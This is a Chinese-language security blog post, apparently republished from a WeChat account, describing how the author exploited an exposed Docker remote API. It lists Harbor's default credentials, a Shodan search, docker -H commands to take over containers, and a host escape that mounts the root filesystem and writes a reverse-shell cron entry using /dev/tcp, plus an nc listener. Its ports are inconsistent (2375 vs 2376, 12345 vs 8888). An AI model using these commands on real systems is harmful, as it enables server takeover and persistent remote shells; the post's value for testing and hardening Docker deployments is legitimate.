介绍
笔者在对一个目标进行安全检查的时候,意外发现了有一个管理Docker的东西,因为之前没有遇到过,也没有对其进行过利用,特写一下笔记来记录一下过程。
防止太空洞配个图:
漏洞原因
我们在使用docker的过程中,常常因为不想天天对着命令行敲击命令而会整一个图形化的docker管理平台,虽然这个用起来非常方便,但也会因为无意而暴露docker服务器的API而导致要命的问题——docker暴露的API攻击。
漏洞环境
笔者是先利用了,也没有进行手动搭建,参考其他师傅的文章:需要为docker启用远程API才可以。远程启动API的方法,方便复现:
安装docker后
1、在/etc/systemd/system/docker.service.d/startup_options.conf文件中
使用以下内容创建文件:
vim /etc/systemd/system/docker.service.d/startup_options.conf
# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376
注意:-H标志将dockerd绑定到侦听套接字,即Unix套接字或TCP端口。您可以指定多个-H标志以绑定到多个套接字/端口。默认的-H fd://使用systemd的套接字激活功能来引用/lib/systemd/system/docker.socket
2、重新加载配置文件
sudo systemctl daemon-reload
3、使用新的启动选项重新启动docker守护程序:
sudo systemctl restart docker.service
Dockerd进程侦听端口2376
vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
vagrant@ubuntu-xenial:~$
摘自:https://www.cnblogs.com/17bdw/p/10302045.html
本人是在harbor服务上发现该漏洞的,有兴趣的师傅可以了解一下。
这边有些小tip:
harbor默认密码:
admin/Harbor12345
公网开放:
shodan查看公网开放的服务命令:
produck:"Docker"
利用过程:
老实说,如果不是goby扫描出来了,凭我这眼神确实不行能找到这个洞:
甚至扫到的时候我还不甚以未然,点开了文章看看,果断在windows上下载了一个docker环境。
具体是这样利用的:
1.查看API信息
docker -H <ip地址>:<端口号> info
2.查看运行的容器
docker -H <ip地址>:<端口号> ps
本人比较傻白甜,就重码,师傅们凑合看。
3.查看镜像
docker -H <ip地址>:<端口号> images
4.进入镜像执行命令
docker -H <ip地址>:<端口号> exec -it <镜像ID> /bin/bash
其实这就是整个的利用过程了,大家可以在里面翻翻文件了,或者搞搞什么了。其实也比较简单,就是一些常用的docker管理命令,我们直接将其接管了。
利用dockerAPI泄露直接逃逸
很巧很巧,第一天写这个文章的时候以为也就是搞搞docker没想到还能逃逸搞宿主机,我现在就来记录一下:
1.新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
docker -H tcp://192.168.66.100:2375 run -it -v /:/mnt nginx:latest /bin/bash
2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/rooo
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.66.100/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
3、本地监听端口,获取对方宿主机shell。
nc -lvp 8888
结尾和其他用处
文章到此就结束了,感谢师傅观看,欢迎师傅们指正不足。
原文始发于微信公众号(非曰安全):Docker 暴露的API攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论